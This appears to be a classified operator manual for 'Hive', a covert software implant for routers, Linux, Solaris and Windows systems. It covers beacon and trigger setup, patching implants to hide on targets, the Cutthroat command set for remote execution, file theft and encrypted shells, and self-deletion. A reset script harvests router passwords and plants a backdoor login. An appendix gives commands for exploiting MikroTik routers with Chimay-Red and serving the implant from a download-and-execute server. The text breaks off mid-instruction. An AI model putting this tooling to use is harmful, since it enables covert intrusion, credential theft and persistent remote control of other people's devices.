



(U) Hive 2.9 User's Guide

May 19, 2015

Classified By: 0706993
Reason: 1.4(c)
Declassify On: 20400519
Derived From: COL S-06

(U) Table of Changes

Date	Change Description	Authority
10/26/2010	Initial Release v1.0	TDR
12/30/1899	DR Release v1.0.1	TDR
01/12/2011	Release v1.0.2 for Linux/MikroTik MIPS	TDR
01/18/2011	Release v1.0.2 for Linux/MikroTik PPC	TDR
02/14/2011	Release v1.0.2 for Solaris 9-10 x86 & Linux x86	TDR
03/07/2011	Release v1.0.2.1 for Linux/MikroTik MIPSEL	TDR
04/14/2011	Release v1.1	TDR
04/29/2011	Release v2.0	TDR
05/16/2011	Release v2.1	TDR
06/27/2011	Release v2.2	TDR
08/02/2011	Release v2.2	TDR
10/24/2011	Honeycomb Release v1.1	TDR
10/24/2011	Hive ILM v1.1 Release	TDR
12/12/2011	Release v2.3	TDR
01/23/2012	Release v2.3.1	TDR
03/05/2012	Release v2.4	TDR
03/05/2012	Hive ILM v1.2.1 Release	TDR
06/14/2012	Release v2.5	TDR
11/15/2012	Release v2.5.1	TDR
12/17/2012	Release v2.5.2	TDR
02/11/2013	Release 2.6	TDR
03/15/2013	Release 2.6.1	TDR
01/13/2014	Release 2.6.2	TDR
03/17/2014	Release 2.7	TDR
04/03/2014	Release 2.7.1	TDR
05/05/2014	Corrections to section 3.4.1.2	EDG/AED/EDB
02/02/2015	Release 2.8	TDR
03/03/2015	Release 2.8.1	TDR
05/14/2015	Pre-Release 2.9-RC2	EDG/AED/EDB

(U) Table of Contents

1 (U) Overview.....	1
2 (U) Pre-Deployment.....	3
2.1 (S) Swindle.....	3
2.2 (S) Tool Handler.....	3
2.3 (S) Patcher.....	3
2.3.1 (U) Syntax.....	4
2.3.2 (S) ID Keys File.....	5
2.4 (S) SSL Certificates.....	5
3 (U) Deployment.....	6
3.1 (S) Beacons.....	6
3.2 (S) Triggers.....	6
3.3 (S) Implant Execution.....	6
3.4 (U) Command and Control Client.....	7
3.4.1 (S) Cutthroat/Hive-ILM.....	7
3.4.2 (S) Client Operational Notes.....	11
3.5 (S) hiveReset_v1_0.py.....	12
4 (U) Post-Deployment.....	14
4.1 (S) Self-Delete.....	14
5 (U) Idiosyncrasies & Limitations.....	15
5.1 (U) General.....	15
5.2 (S) MikroTik Specific.....	15
6 (U) Troubleshooting.....	16
7 (U) Appendix A: Operational Notes.....	17
7.1 (S) Installing Hive on MikroTik MIPS RouterOS 6.x using Chimay-Red.....	17
7.1.1 Obtaining Shell Access.....	17
7.1.2 Implanting Hive.....	17
7.2 (S) Installing Hive on AVTech NVRs using Mealybug.....	18
8 (U) Appendix B: Release Notes.....	20
V2.9 xx/xx/2015.....	20
V2.8.1 03/03/2015.....	20
V2.8 02/02/2015.....	20
V2.7.1 04/03/2014.....	20
V2.7 03/10/2014.....	20
V2.6.2 01/13/2014.....	20
V2.6.1 03/15/2013.....	20
V2.6 01/30/2013.....	21
V2.5.2 12/06/2012.....	21
V2.5.1 11/29/2012.....	21
V2.5 06/20/2012.....	21
V2.4 03/05/2012.....	21
V2.3.1 01/23/2012.....	21
V2.3 12/12/2011.....	21

V2.2 08/22/2011.....	22
V2.1 05/23/2011.....	22
V2.2 08/22/2011.....	23
V2.1 05/23/2011.....	24
V2.0 05/9/2011.....	24
V1.1 04/14/2011.....	24
V1.0.2 01/21/2011*, 02/14/2011**, 03/07/2011***	24
V1.0.1 2/22/2010.....	24
V1.0 10/27/2010.....	25
9 (U) For Further Assistance.....	26

1 (U) Overview

(S) Hive is a software implant designed with “Ring 2” operations in mind. It has two primary functions: beacon and interactive shell. By design, both are limited in features with the purpose of providing an initial foothold for the deployment of other full featured tools.

(S) Hive provides implants for the following target operating systems and processor architectures See section 8 starting on page 20 for more details about available and tested versions.

Platform	Latest Available Version	
	Tested	Untested
AVTech NVR ARM♣		
Linux x86	2.9	-
MikroTik MIPS 3.x	-	2.9
MikroTik MIPS 4.x	2.9	-
MikroTik MIPS 6.x	2.9	-
MikroTik MIPSEL 3.x♦	-	2.8.1*
MikroTik MIPSEL 4.x♦	2.8.1	-
MikroTik PowerPC 3.x	-	2.9
MikroTik PowerPC 4.x	-	2.9
MikroTik x86 3.x	-	2.9
MikroTik x86 4.x	2.9	-
Solaris SPARC 8	2.8.1	-
Solaris SPARC 9	2.8.1	-
Solaris SPARC 10	2.8.1	-
Solaris x86 8	-	2.8.1
Solaris x86 9	V2.8.1	-
Solaris x86 10	V2.8.1	-
Ubiquiti AirOS 5.5♣	2.9	-
Windows 2000	v2.4	-
Windows Server 2003	v2.4	-
Windows XP SP0-SP3	v2.4	-

* (S) Linksys WRT54G flashed with DD-WRT v24sp2 used as surrogate for testing MikroTik MIPSEL binaries. No actual RouterBoard (i.e. MikroTik) hardware was used.

♦ (U//FOUO) MIPS platforms designated as *MIPS* are big-endian, whereas those designated as *MIPSEL* are little-endian, per more common industry naming conventions.

♣ (S) Hive has only been tested on the Ubiquiti PicoStation M2-HP.

♣ (S) Limited testing of these platforms. Implant may not execute on older versions.

NOTE: As of Hive version 2.9, Solaris and MIPS little-endian architectures are no longer supported.

(S) The Hive release consists of the following files along with the unpatched binaries.

Filename	Function
css.xml	XML file for cutthroat's custom command set.
cutthroat	Standardized interface for operators to run <i>hclient</i> .
hclient	Linux executable. Used to send triggers to and interactively communicate with the Hive implants. Has not been updated since Hive v1.x, but most implant features still work with it.
hive	Cutthroat ILM (i.e. module, shared library object). Provides the client functionality to send triggers to, and interactively communicate with, the Hive implants.
hive-patcher	Linux executable. When run, it produces executables with command line parameters patched-in.
hiveReset_v1_0.py	Python script for updating existing hive implants on remote boxes with a more recent version.
honeycomb.py	Linux executable. Tool handler for Hive beacons. HTTPS beacons validated by Swindle are passed to Honeycomb. Honeycomb receives and logs the beacons.
swindle.cfg	ASCII text file. Hive beacons use Loki's Blot DP/LP. Swindle is the HTTPS proxy that verifies the beacons before forwarding to the tool handler.

(S) Below is the list of files included in this release, along with their size and MD5 hash.

Filename	File Size (bytes)	MD5 Hash
CCS.xml	490235	1dd06dd5b74ceb7cab9b599a22f99975
cutthroat	1095780	caba38dc033c86f5f9daa837dfe4c2fa
hive	533444	88fef0fb24a0356840d6f537a19a4be2
hive-patcher	2491264	2b8d0d2d120edcd07c11a706cbc73c8d
hiveReset_v1_0.py	60292	d3153e378e24f4bed0ceddfcab599fb8
honeycomb.py	16466	697c15edb45179b7c9fe0f19ad99abfd
swindle.cfg	680	3b9185be038c826c39734f1be273b37f
Unpatched Binaries		
Hived-avtech-arm-unpatched	757304	140be5f65ab81ca3388f3426a8ef4e32
hived-linux-x86-unpatched	276273	e46903914e2ab9b5f2a499b85ac82c53
hived-mikrotik-x86-unpatched	288937	b46ba8cd956abaf387ee91df36e8464b
hived-mikrotik-mips-unpatched	409748	02a9587fa8dad705e814cff50bf42d43
hived-mikrotik-ppc-unpatched	352684	5d2676331bc9677b82c0e7bf29774fba
hived-ubiquiti-mips-unpatched	385604	f71e4e9f334b8a0a9475cd59a4e8a394

2 (U) Pre-Deployment

(S) Before initial deployment, Loki's Blot/Swindle must be set-up with Hive's Tool ID (0x65ae82c7) to proxy connections to the Honeycomb tool handler. Honeycomb can reside on the same server as Swindle but it is strongly recommended that it be deployed on a different server. Honeycomb acts much like a traditional iterative server that handles incoming beacon connections one-by-one. After the implant is validated by Swindle, the implant traffic is re-routed directly to Honeycomb. Honeycomb then establishes an encrypted session with the implant. Swindle continues to proxy the encrypted network packets.

2.1 (S) Swindle

(S) Loki documentation covers the procedures for setting up a Blot DP/LP with Swindle, as such procedures are beyond the scope of this document. Hive provides a sample Swindle configuration file (`swindle.cfg`) to be saved to `/etc/blot/` on the Swindle server. Restarting Swindle (`service swindle restart`) will re-read the configuration file. The Hive project made no changes to the Swindle binaries or server and aims to fully conform to the existing Swindle protocols and procedures. In the Swindle configuration file, the most important parameters are the IP and port for the tool handler (e.g. Honeycomb) and the Hive Tool ID.

2.2 (S) Tool Handler

(S) Honeycomb is a server application that handles the beacons proxied from Swindle. The Honeycomb server can be configured to start the tool handler automatically at system start (via the `/etc/init.d` or `/etc/rc.local` scripts).

Honeycomb accepts the following command line options:

```
python2 honeycomb.py [-p <port>] [-f <file path>] [-l <log path>]
```

where:

<port> is the port that honeycomb will listen on for proxy connections coming from Swindle.

<file path> is the location where beacon rsi files will be written.

<log path> is the location where beacon log files will be written.

(S) Upon receiving a beacon, Honeycomb will parse-out the MAC address, public IP address, and uptime of the implanted box. Honeycomb will then write out a ".rsi" file that is one-way transferred for ingestion into Ripper Snapper. The implant ID used in the Ripper Snapper files is the unformatted MAC address of the implanted box. As of Hive 2.0 additional survey data are collected from the beacon. Additional information on this data can be found in section 3.1.

(S) Hive v2.0 functionality was added to Honeycomb so that it will keep a basic log of beacons that are received. Every beacon will have a log entry created that contains a timestamp of when the beacon was received, the MAC address, public IP address, and the version of the implant that beacons. In addition, for Hive v2.0 beacons and later, there will be a flag related to which OS the beacon came from.

2.3 (S) Patcher

(S) **hive-patcher** patches parameters into the implant binaries to reduce the implant's footprint on the target. The patcher "gives birth" to the implant binaries. In other words, the patcher creates the

needed binaries for the operator without requiring a pre-existing reference executable. The patcher will create patched versions (with the string “PATCHED” in the file name) in the current working directory from where the patcher is run. Hive implants are not required to be patched, as the implants will still use command line arguments. However, in the case where the Hive implant is patched AND the operator passes it runtime arguments, the implant will only use the patched arguments. Except for the '-m' option, the patcher and the implant accept the same options.

2.3.1 (U) Syntax

The patcher command syntax is as follows. At a minimum, the address of the beacon server and the ID key, or the name of the file containing the ID key, must be supplied.

```
hive-patcher -a <beacon address> [-p <port>] [-d <beacon delay>] \
  [-i <beacon interval>] [-j <beacon jitter>] \
  [-s <self-delete delay>] [-t <callback-delay>] \
  [-P <file path> ] (-k <ID key>) | -K <ID key filename>) \
  [-m <OS>]
```

where:

- a <beacon addr> is the IP address or hostname of beacon server, that is, the Swindle proxy.
- p <beacon port> is the (optional) beacon port. Default is 443 for HTTPS which is the protocol that the Hive implants and Swindle emulate.
- d <initial beacon delay> is the initial delay (in seconds) before the first beacon is sent. If set to 0, then beacons will be disabled. (Default: 3 minutes)
- i <beacon interval> is the beacon interval or sleep time between beacons (in seconds). (Default: 0)
- j <beacon jitter> is the beacon jitter (as a percentage). That is, the amount of beacon variation as a percentage of current beacon interval. (Range: 0-30%, Default: 3%)
- s <self-delete delay> is the self delete delay (in seconds). Amount of time since last successful beacon or trigger allowed to pass before self-deletion occurs. If unused, the default value is 60 days.
- t <callback delay> is the (optional) delay (in seconds) from when the trigger is received and the callback +/- 30 seconds. (Default: 60 seconds)
- P <file path> directory path for the self-delete control/log files (.config and .log) (Default location: “/var”). **This option must be specified if /var is not writable, otherwise self-deletion will occur.**
- k <ID key> Trigger ID key with a minimum length of 8 characters and a maximum length of 1000 characters. Quotes must be used if there are embedded spaces.
- K <ID key filename> The name of the file containing the ID key. The contents of this file must be greater than 8 characters in length.

-m <OS> is the target operating system architecture.
Patch parameters into this type of executable.

OS	Result
all	Create patched version of all architectures
raw	Create unpatched versions of all architectures
avt-arm	AVTech ARM (little-endian)
linux-x86	Linux Intel x86 (32-bit)
mt-mips	MikroTik MIPS (big-endian)
mt-ppc	MikroTik Power PC
mt-x86	MikroTik Intel x86 (32-bit)
ub-mips	Ubiquiti MIPS (big-endian)

-S <DNS IP₁[,DNS IP₂> The primary and (optionally) secondary DNS server IP addresses in dotted quad format (i.e. 192.168.125.153). If two addresses are provided they are comma separated. Each address can be at most 15 characters.

2.3.2 (S) ID Keys File

(S) For each ID key that the patcher generates, a copy of the actual key used, the SHA1 hash that is used as the trigger key, and the SH1 hash of the trigger key (used in the implant for trigger validation) are stored in a file named ID-keys.txt along with a date/time stamp showing when the key was generated.

Examples:

(S) Patch a Linux-x86 executable to beacon to 10.3.2.169:443 every hour, with 5% beacon jitter variance, after default initial delay using:

```
hive-patcher -a 10.3.2.169 -i 3600 -j 5 -m linux-x86 -k "Testing Testing"
```

(S) Patch a MikroTik MIPS executable to beacon to 10.3.2.169:443 every hour with initial delay of one hour using interface hme0 with:

```
hive-patcher -a 10.3.2.169 -p 443 -i 3600 -d 3600 -m mt-mips \
-k Testphrase
```

(S) **NOTE 1:** Change the name of the resulting executable into another name that would be consistent with hiding it on the target system before deployment. Record the new name so you can use it for future reference as required.

(S) **NOTE 2:** The patcher will support host names up to 256 characters long.

2.4 (S) SSL Certificates

(S) The implant communicates with the Hive client using SSL connections. Three files, *server.crt*, *server.key* and *ca.crt*, must be installed in the same directory as the client and must have read permissions set so they can be accessed by the client. **Communications with the implant will fail if any one of these files are missing or invalid.** (For an example see section Error: Reference source not found on page Error: Reference source not found.)

3 (U) Deployment

3.1 (S) Beacons

(S) Patched or unpatched implants are provided by the generator application. In the case of unpatched implants, the implant is started on target using the same command line arguments as the patcher, less the patcher's '-m' option (see Section 2.3). Implants will detach from the user's terminal and fork into the background.

(S) The goal is for the operator to have a consistent user experience, regardless of the implant's operating system. On the wire, the implant mimics a SSLv3 handshake with Swindle (LP) and then sends a small amount of encrypted data to the tool handler. The encrypted beacons consist of the Swindle Tool ID, system uptime, and MAC address*. Hive version 2.0 added additional survey information to the beacon. This data includes a process listing, ipconfig/ifconfig, "netstat -rn", and a "netstat -an". In the event the survey fails, the RSI file will show an empty data element in the XML.

(S) *NOTE: Linux and MikroTik implants typically use the MAC assigned to the *eth0* interface. At this time, the MAC address is used only as a unique identifier for tracking implants.

(S) The beacon parameters cannot be changed dynamically by the hive tool handler. To change the beacon parameters, the implants need to be re-patched with new parameters and re-deployed, or in the case of unpatched implants, they need to be restarted with new command line arguments.

3.2 (S) Triggers

(S) The Hive client establishes an interactive session with the implant by sending it a trigger. **Starting with Hive version 2.7 only two trigger types are supported: raw-tcp and raw-udp.**

(S) The raw-udp trigger can be sent to any UDP port on the target system. The raw-tcp trigger can be sent to any open and listening port on the target system.

(S) The Hive implant watches for trigger packets in the incoming flow of network traffic. This “sniffer” behavior can be slightly different on each operating system. On Linux and MikroTik, Hive listens on all physical interfaces.

(S) Once the implant receives a valid trigger, it pulls the callback IP address and port from the trigger packet, waits a default delay, and then calls back to the listening Hive client. Once connected, the implant and Hive client perform a TLS handshake and initializes an AES encrypted session. See *(U) Idiosyncrasies & Limitations* on page 15 for special situations.

3.3 (S) Implant Execution

The patched Hive implant is copied onto the target in a location from which the code is executable using a suitable name for hiding in plain sight. When execution fails, the a number of error messages may result and/or exit codes might be possible from the shell using the command “echo \$?”. Most of these errors should be caught by the patcher. Here are the possible exit codes:

Error Code	Description
-1	Insufficient permissions
-2	Key options error
-3	Cannot access key file
-4	Key length too short
-5	Path name too long
-6	DNS server address too long (15 characters max)
-7	DNS server address missing
-8	Beacons enabled, but no interval specified
-9	Beacon delay is too long
-10	ID key missing
-11	Beacon address not specified
-12	Beacon host name specified, but without a DNS server address to resolve it

3.4 (U) Command and Control Client

(S) Command and control of the Hive implant is provided by the Cutthroat ILM client, a loadable module used with Cutthroat.

3.4.1 (S) Cutthroat/Hive-ILM

(S) The same `hclient` functionality described in Section Error: Reference source not found is available as a Cutthroat Implant Library Module (ILM). Cutthroat is the standardized management interface for controlling the Hive implants, versus the executable `hclient-linux` binary. You should verify that your version of cutthroat is operational by entering the command `./cutthroat`. To use cutthroat with Hive, you must also have `hive` (the implant library module) and `CCS.xml` installed in the same directory as cutthroat. To start the Hive implant library module, you must first enter the following commands: `./cutthroat hive` or `./cutthroat` followed by `load hive`. **It should be noted that two of Cutthroat's commands, *verbosity* and *mode* are not used by the Hive implant and should be ignored.**

(S) If the Hive ILM loads, the operator will see a “[success] Successfully loaded hive [load]” message followed by cutthroat's standard greeting which includes cutthroat's version number on the computer terminal. The operator may hit the “tab” key at any time to see a list of available commands for the operator to select while operating cutthroat.

(S) Warning: When using two clients to separately handle trigger and listen, the operator should start the listener first. The operator should assume failure unless the operator receives a “Success” message via the cutthroat interface.

3.4.1.1 ILM States and Commands

(S) The Hive ILM client can be in one of two states – connected or disconnected – each of which have their own set of applicable commands.

3.4.1.1.1 (S) Disconnected State

(S) While in a disconnected state, the following commands are available:

ilm listen	listen for reverse connect from remote host
ilm trigger	send trigger to remote host
ilm connect	combines functions of trigger and listen.
quit	exits the cutthroat application
verbosity	unused
mode	unused

3.4.1.1.2 (S) Disconnected State: Listen

(S) To start the listener, enter:

```
ilm listen <port number>
```

where <port number> is any number from 1 through 65535. For example, to listen on port 4567 enter the following at the command prompt:

```
> ilm listen 4567
Listening for connection on port 4567 ...
```

(S) The listener will continue listening on the assigned port until it receives a response from the implant or the operator kills the current process.

3.4.1.1.3 (S) Disconnected State: Trigger

(S) To start the trigger, enter:

```
ilm trigger <triggerFileName>
```

where the <triggerFileName> is the name of any file in the directory where cutthroat is running. If the trigger file does not exist, it will be created and the operator prompted for the following information:

Listener's IP Address	IP address used by the implant to connect back to the Listener.
Listener's Port Number	Open port on the Listener waiting for the implants callback
Target IP Address	IP address where the implant is currently installed.
trigger protocol	trigger protocol: <i>raw-tcp</i> or <i>raw-udp</i> (Required for triggers.)
raw port	Raw Port number in the range of 1 through 65535 where the raw-tcp or raw-udp trigger will be sent.

(S) Additional information on the trigger file can be found below in section 3.4.1.2.

(S) If the trigger file already exists, then the details of the trigger will be displayed and the trigger will be sent as shown in the example below.

```
> ilm connect 10.6.5.201

Using existing target profile.
Listening for connection on port 10000 ...
Using existing target profile.

Trigger details:
. Remote IP address 10.6.5.201 with raw-tcp trigger on port 22
. Callback IP address 10.6.5.195 on port 10000
. Trigger key: ab9b5db0d04598cc9e66fe57aabc887b9ef9d96c

Trigger sent.

... connection established!

Connection details:
. Remote IP address 10.6.5.201 on port 48492
. Local IP address 10.6.5.195 on port 10000

Enabling encrypted communications:
. TLS handshake complete.
. AES-encrypted tunnel established.

[Success]
***** Success *****
[ilm connect 10.6.5.201]

[10.6.5.201]>
```

(S) If everything worked, the listener should receive a callback from the implant based on the implant's configured trigger delay. The client is now in a *connected state*.

(S) NOTE: If more than one implant residing on the same network is keyed the same, the operator should verify that the “[<implant IP address>]” prompt displayed (as seen on the last line of the example) is the intended target's IP address.

3.4.1.1.4 (S) *Disconnected State: Connect*

(S) The connect option combines the functionality of the trigger and listen options. Connect is called in the exact same way as trigger, with the use of a trigger file being it's only parameter:

```
ilm connect <triggerFileName>
```

(S) See section 3.4.1.2 on page 11 for details on how to create a trigger file.

3.4.1.1.5 (S) Connected State

(S) Once the cutthroat client is connected to the implant, additional commands will be available for control of the implant. Below is the list of available commands:

cmd exec	execute an application on the remote computer. As an argument, enclose the command to execute in double or single quotes. See example below.
file put	upload a file to the remote computer. Requires 2 arguments: source and destination filenames. NOTE: Be sure the target has sufficient space for the file, as Hive does not currently provide any indication of an unsuccessful transfer due to insufficient space on the filesystem.
file get	upload a file to the remote computer. Requires 2 arguments: source and destination filenames.
file delete	delete a file on the remote computer. Requires 1 argument: filename.
ilm exit	close the Listener's TCP connection, but keep the server implant running on the remote computer. Cutthroat application stays open. Same as shutdown now.
quit	close the Listener's TCP connection, but keep the server implant running on the remote computer. Cutthroat application will also close.
shutdown now	close the Listener's TCP connection, but keep the server implant running on the remote computer. Cutthroat application stays open. Same as ilm exit.
shell open	open an encrypted shell with the client (as a separate process). Takes three parameters in the following order: client IP address, client port number, and a password that initializes the Twofish symmetric cipher. See the example below. <i>Hive v2.9 supports the encrypted secure shell on all devices.</i> NOTE: Shell terminal windows will remain open and connected to the target host until exited. If "quit" is issued on the ILM command line, the ILM session may wait for all clients to exit before exiting itself. If the ILM session is killed (such as with CTRL-C), then all open shell terminals may also be terminated. This behavior varies with the target and/or client platform.

(S) Command Syntax

```
cmd exec "<command>"
file put <local file path> <remote file path>
file get <remote file path> <local file path>
file delete <remote file path>
ilm exit
quit
shutdown now
shell open <IP address of listening post> <port number> <password>
```

NOTE: Wild card characters such as "*" cannot be used in filenames.

(S) Examples of command usage:

```
[10.2.5.22]> cmd exec "/path/to/file arg1 arg2"  
[10.2.5.22]> file delete /path/to/file  
[10.2.5.22]> file get /path/to/remote/file /path/to/local/file  
[10.2.5.22]> file put /path/to/local/file /path/to/remote/file  
[10.2.5.22]> ilm trigger /name/of/trigger/file  
[10.2.5.22]> ilm exit  
[10.2.5.22]> shutdown now  
[10.2.5.22]> shell open 192.168.1.100 4444 Password1
```

3.4.1.2 (S) ILM Trigger File Format

(S) When a trigger file is created the trigger parameters are inserted on a single line separated by a '|' character between each field. This file can be easily edited for making changes to a trigger, or copied and edited to create additional triggers.

(S) A sample trigger file is looks like this:

```
10.3.2.141|4567|10.2.5.99|keyphrase||raw-tcp|22
```

(S) The listener's IP address is 10.3.2.141, listening on port number 4567. The implant is running on a target host with an IP address of 10.2.5.99. This is followed by two fields, one of which will be empty. The first holds the trigger key phrase ("keyphrase"), the second for a file name that holds a key. If a key file was used to store the key, the line would look like this:

```
10.3.2.141|4567|10.2.5.99||keyfilename|raw-tcp|22
```

(S) A raw-tcp protocol type will be used to trigger the implanted device. The last parameter, 22, is the port number to which the trigger is sent.

3.4.2 (S) Client Operational Notes

(S) The following topics are common to both hclient and ILM clients.

3.4.2.1 (S) File Deletion

(S) By default, the *delete* command will attempt a *secure delete* and overwrite the named file with zeros before deletion. If the *secure delete* fails, it will return an "unsuccessful" status to the Hive client. If the *secure delete* fails, the operator should then try to issue a "rm -f <filename>" command using *exec* or *cmd exec*, as shown in the examples in sections Error: Reference source not found and 3.4.1.1.5 above, respectively.

3.4.2.2 (S) Default File Permissions

(S) On Linux, and MikroTik, files uploaded are written to the remote system with 644 permissions. After uploading an executable, and before executing it, make the file executable by using Hive to execute *chmod a+x <filename>*.

3.4.2.3 (S) Shutdown Command

(S) The *shutdown* command only causes the implant to stop running its current instance. This means that when the target is rebooted, the implant will restart. The shutdown command does not delete the implant or uninstall it from the boot-time start-up routines.

3.4.2.4 (S) Connection Timeouts

(S) Currently all versions are able to recover from the loss of connection between implant and client. This is achieved by Hive spawning off a separate process to handle each triggered connection. This also allows multiple connections to the same implant. There are currently two timeouts enabled on these connections. The first is a connect timeout. **If a Hive implant is unable to connect back to the client after 5 minutes, the connection will kill itself. Hive will also kill the connection to an implant after 60 minutes of inactivity.** Currently, there is no notification in the client that a connection has been closed; however, when the next command is entered the client will report that the command can not be completed.

3.4.2.5 (S) Trigger ID Keys

(S) ID keys are used to control triggering of implants so that only one or one set of implants will respond to a given trigger. ID keys must be supplied to both the client(s) and server(s) (implant(s)). **It is important to ensure that the keys used on the client are identical to those used in the implant.** In particular, it is possible to start the implant with an ID key on the command line and attempt to trigger the implant using an ID key file that, while it looks identical, differs only by a newline character at the end. **Some Linux-based text editors (e.g. vim) automatically add a newline at the end of any line that doesn't include one.**

3.5 (S) hiveReset_v1_0.py

(S) Since Hive has been installed and used on such a wide scale, an update capability was provided for updating the Hive implants on remote boxes. This script requires Python 2.7 with a “pexpect” module/capability. It is expected that Cutthroat and the Hive ILM also be located in the same directory as the *hiveReset_v1_0.py* script. **To update a remote box, you must first have the following information:**

Old implant file name	Name of Hive implant <u>currently running</u> on the remote box.
Installation directory	full path name that starts and ends with a “/” where the old Hive implant is currently installed (e.g. <i>/rw/pkg/</i>).
Operating System	Mikrotik MIPS BE, Mikrotik PPC, Mikrotik x86 or Linux. (Ubiquiti not currently supported.)
Full busybox name	For Mikrotik routers only. Includes the full path prefix with busybox name (e.g. <i>/rw/pkg/busybox</i>).
New Hive implant name	New Hive implant filename that was just created using the <i>hive-patcher</i> program specified above.
Cutthroat parameters	Callback IP and port, trigger type, remote IP (box with Hive implant that will be updated), etc. as specified above.

(S) After the operator has determined all the above parameters and has the necessary files (new Hive implant, Cutthroat, and Hive (ILM)), the operator may update a box using the following command:

```
hiveReset_v1_0.py [-s, -b] -f <Configuration File name>
```

where the -s option means only a single box will be updated and the -b option refers to a batch process where multiple boxes are updated. Note that the user may also use a -h option to display a usage

statement. If the configuration file does not exist, just give it a new name and it will be created after the operator has answered a variety of questions.

(S) This same configuration file, can be used to update multiple Hive implants as long as they have the same configuration. For example if two boxes with IP addresses of 10.1.2.3 and 10.3.2.1 respectively are running an old Hive implant (same name) in the same installation directory (same full path name) with the same busybox name “e.g. /rw/pkg/busybox” both boxes could be updated using the following command:

```
hiveUpdater.py -b -f <Configuration File name>
```

where the Configuration File contains a line for the target File which contains the IP address of each box being updated. In this case, “10.1.2.3” and “10.3.2.1” would both be on a separate line. Note that this list may contain multiple target IP addresses, but all the Hive Updater Configuration settings contained within the configuration file must be the same. Note that once these files are created, they may be used again for all future updates as long as the parameters remain the same.

(S) Note that this python script also contains a reset option which will reset the .config timer file for all devices. This reset script was also modified to retrieve passwords and create one directory on all Mikrotik devices per guidance from COG based on their standard exploits. Passwords contained in the /nova/store/user.dat and the /rw/store/user.dat files are stored in a pA.IPAddress and pB.IPAddress files respectively for Mikrotik devices. The reset capability will also create a /nova/etc/devel-login file that is used by COG to exploit the targeted device.

(S) It has been noted that this same update capability can and will be upgraded/expanded in future versions of Hive to install other modules and tools for target exploitation in an automated fashion.

4 (U) Post-Deployment

4.1 (S) Self-Delete

(S) Self-delete was first added to Hive in version 2.2 and is used to ensure that any Hive implant that lays dormant (has not beamed successfully to its designated LP or has not been triggered from a command post) for a predetermined amount of time effectively destroys itself with the only remnant being a “configuration file” (.config) and a log file (.log) left behind in /var directory. During normal operation the .config file is empty, with its last modified time indicating the time of last contact – either from a beacon or a trigger – and the .log file is non-existent. When self-delete executes, the Hive binary is deleted from the host and the .log file is created with a time stamp inserted into it using the format yymmddHHMMSS. (The time stamp inserted into the file should match the last modification time of the file.) On Linux and MikroTik, the implant will overwrite the binary on the filesystem with zeros.

(S) The decision to self-delete is determined by the difference between the system time and the last-modified time stamp on the configuration file. Whenever the system time exceeds the time stamp on the configuration file by more than the delete delay, Hive will self-delete. It is important to note that the system time on implanted devices may vary widely depending upon the environment. Consequently, the simple act of correcting the date/time on the device by a system administrator could result in self-deletion.

(S) Self-deletion may also occur if the .config file cannot be written to the /var (or otherwise specified) directory. This can occur on devices where the filesystem path is in flash or other read-only memory.

5 (U) Idiosyncrasies & Limitations

5.1 (U) General

(S) On Linux, executing a GUI program without backgrounding the process (using an ampersand on the command line following the command) may cause the interactive session to hang. Generally, it is probably a bad idea to execute a GUI program on your target anyway.

(S) Files uploaded are written to the remote system with 644 permissions. After uploading an executable and before executing it, make the file executable by using Hive to execute `chmod a+x <filename>`.

(S) The patcher will support host names up to 256 characters long.

(S) Starting with Hive version 2.7, unique keying was implemented to prevent TCP replay attacks and provide the ability to distinguish between multiple implants within a given network. However, multiple Hive implants within the same network can still be keyed alike if desired. Doing so complicates communication in that the first implant responding to a trigger will get the connection. For example, if a border router is implanted, as well as others deeper in the target network, all triggers sent to any host (implanted or not) in that network will be first seen by the border router and the operator will receive a callback from the Hive implant on the border router. Therefore, best practice is to use independent keying for all implants.

(S) If the system time on target is reset or advanced 60 days into the future, the Hive implant will self-delete. Also if the target machine is down for 60 days, the implant will self-delete on startup.

(S) When communicating with a shell window, any use of the control-C key will cause the window to terminate. The operator will need to perform another *shell open* from the Cutthroat command line to recreate the shell window.

5.2 (S) MikroTik Specific

(S) MikroTik systems store DNS configuration in a proprietary format. Even if the MikroTik is configured with DNS server(s), the MikroTik system libraries don't know how to read it. Therefore, Hive cannot resolve hostnames. The operator could enable DNS by creating the `/etc/resolv.conf` file and marking it as executable. The following example uses Google's public DNS server:

```
echo "nameserver 8.8.8.8" > /etc/resolv.conf && chmod a+x /etc/resolv.conf
```

6 (U) Troubleshooting

(S) Below is an example two ILM client sessions, the uncolored area being common to both. The light green section shows a good connection, the light yellow a bad connection that was caused by using an SSL certificate chain (*ca.crt*) that doesn't match the server certificate (*server.crt*).

```

root@kubuntu-11:~/hive# ./cutthroat ./hive
[success] Successfully loaded ./hive [load]

CutThroat
JY008C634-6
Version: 2.2
CCS Version: 2.2

Usage:

    verbosity <level>           Sets the verbosity level
    mode <new mode>             Sets the operating mode of CT
    load <ILM Filename>         Loads the library
    quit                        Exits Command Post

> ilm connect 10.6.5.190
Listening for connection on port 8123 ...

Trigger details:
. Remote IP address 10.6.5.190 with raw-udp trigger
. Callback IP address 10.6.5.195 on port 8123

Trigger sent.

... connection established!

Connection details:
. Remote IP address 10.6.5.190 on port 42146
. Local IP address 10.6.5.195 on port 8123

Enabling encrypted communications:
. TLS handshake complete.
. AES-encrypted tunnel established.

[Success]
***** Success *****
[ilm connect 10.6.5.190]

Enabling encrypted communications:
> Error: Certificate chain verification failed: NOT TRUSTED
* Error: TLS connection with TLS client failed to initialize.
[Local Failure]
***** Local Failure *****
[ilm connect dns]
>

```

7 (U) Appendix A: Operational Notes

This section provides a quick reference for the use of exploits for implanting Hive on platforms listed below.

7.1 (S) Installing Hive on MikroTik MIPS RouterOS 6.x using Chimay-Red

MikroTik routers running version 6.x of RouterOS may be exploited using Chimay-Red. Examples here use Chimay-Red version 4.0.

7.1.1 Obtaining Shell Access

To obtain shell access to the router, direct Chimay-Red to an open port on the target address (typically port 80, which is used for the admin GUI) using the `write_devel` command having the following syntax:

```
python chimay_red.py -t <router address>:<open port> write_devel
```

Example:

```
python chimay_red.py -t 192.168.88.1:80 write_devel
```

Use **telnet** to access the device using the target address. At the login prompt enter *devel*, followed by an empty line for the password (i.e. no password). You should receive a BusyBox banner followed by the root prompt (#).

7.1.2 Implanting Hive

To implant Hive into the router, use *download_and_exe_server.py* found in the Chimay-Red tools directory as a download server using the following syntax.

```
python download_and_exe_server.py -l <command/control address> -p <listen port> -f <path to Hive binary>
```

The command/control address is the host from which the target will obtain the Hive binary after connecting to the associated listening port.

Example:

```
python download_and_exe_server.py -l 10.6.5.200 -p 2000 -f ~/hive/server/hived-mikrotik-mips-PATCHED
```

Once the server is listening, execute Chimay-Red using the following syntax.

```
